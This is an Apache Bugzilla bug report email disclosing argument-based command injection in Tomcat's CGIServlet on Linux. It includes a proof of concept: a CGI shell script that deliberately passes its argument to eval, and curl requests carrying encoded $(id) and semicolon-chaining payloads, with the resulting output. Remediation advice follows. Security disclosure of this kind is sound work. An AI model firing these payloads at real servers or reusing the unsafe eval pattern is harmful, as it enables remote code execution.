https://bz.apache.org/bugzilla/show_bug.cgi?id=70141
Bug ID: 70141
Summary: Shell Command Injection via CGIServlet Argument
Injection on Linux
Product: Tomcat 11
Version: unspecified
Hardware: PC
Status: NEW
Severity: normal
Priority: P2
Component: Examples
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: -------
Created attachment 40196
--> https://bz.apache.org/bugzilla/attachment.cgi?id=40196&action=edit
POC
Severity: High (when CGI is enabled; enableCmdLineArguments is false by
default)
Status: Confirmed — live RCE demonstrated
Condition: enableCmdLineArguments=true set in servlet config; CGI not enabled
by default
Affected file: java/org/apache/catalina/servlets/CGIServlet.java
Description
CGIServlet supports an optional feature (enableCmdLineArguments) that parses
query-string tokens without = into positional arguments for the CGI executable.
On non-Windows platforms, the default cmdLineArgumentsDecoded restriction is
null:
// CGIServlet.java
if (IS_WINDOWS) {
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN =
Pattern.compile("[\\w\\Q-.\\/:\\E]+"); // restrictive allowlist
} else {
DEFAULT_CMD_LINE_ARGUMENTS_DECODED_PATTERN = null; // no restriction
}
null means all decoded characters are accepted — shell metacharacters, command
substitution tokens, and pipeline operators are all passed as positional
arguments to the CGI subprocess.
Tomcat uses Runtime.exec(String[]) which does not invoke a shell directly.
Shell injection occurs when the CGI script itself passes arguments to a shell
unsafely (e.g., via eval, unquoted $@, passing to sh -c, etc.) — a common
pattern in shell-script CGI handlers.
Proof of Concept — Confirmed RCE
Setup (web.xml in the examples webapp):
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
Example CGI script (WEB-INF/cgi/test.sh) — represents a real-world pattern
where a script passes its first argument to eval:
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
echo "Positional args: $@"
eval "echo Evaluated: $1" # unsafe: eval with unvalidated user input
Attack — command substitution injection via URL query string:
# Encode $(id) as %24%28id%29 in the URL
curl -s "http://127.0.0.1:8080/examples/cgi-bin/test.sh?%24%28id%29"
Confirmed RCE output:
=== CGI Argument Injection Demo ===
QUERY_STRING: %24%28id%29
Positional args: $(id)
=== Unsafe eval of first argument ===
Evaluated: uid=1000(runner) gid=1000(runner) groups=1000(runner)
$(id) was decoded from the URL, passed as a positional argument, and eval
executed it — yielding the server's user identity.
Semicolon-based chaining:
curl -s
"http://127.0.0.1:8080/examples/cgi-bin/test.sh?x%3Becho+INJECTED_COMMAND"
# Passes: x;echo INJECTED_COMMAND as a single argument
Why Linux Default Is Especially Dangerous
On Windows the servlet applies [\w\Q-.\\/:\E]+ — blocking metacharacters at the
framework level. On Linux the default is effectively "allow everything,"
silently removing the safety net that Windows operators get. A developer
enabling enableCmdLineArguments=true on Linux with the intent of restricting
patterns via the Windows behavior will find no restriction is applied.
Remediation
Do not set enableCmdLineArguments=true unless strictly required — default
is false.
If enabled on Linux, explicitly set a restrictive cmdLineArgumentsDecoded
allowlist:
<init-param>
<param-name>cmdLineArgumentsDecoded</param-name>
<param-value>[\w\Q-\E]+</param-value>
</init-param>
Emit a startup warning when enableCmdLineArguments=true is set without an
explicit cmdLineArgumentsDecoded on non-Windows — the null default is silent
and dangerous.
CGI shell scripts must use properly quoted argument expansion ("$1" not $1,
avoid eval with user args).
--
You are receiving this mail because:
You are the assignee for the bug.
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]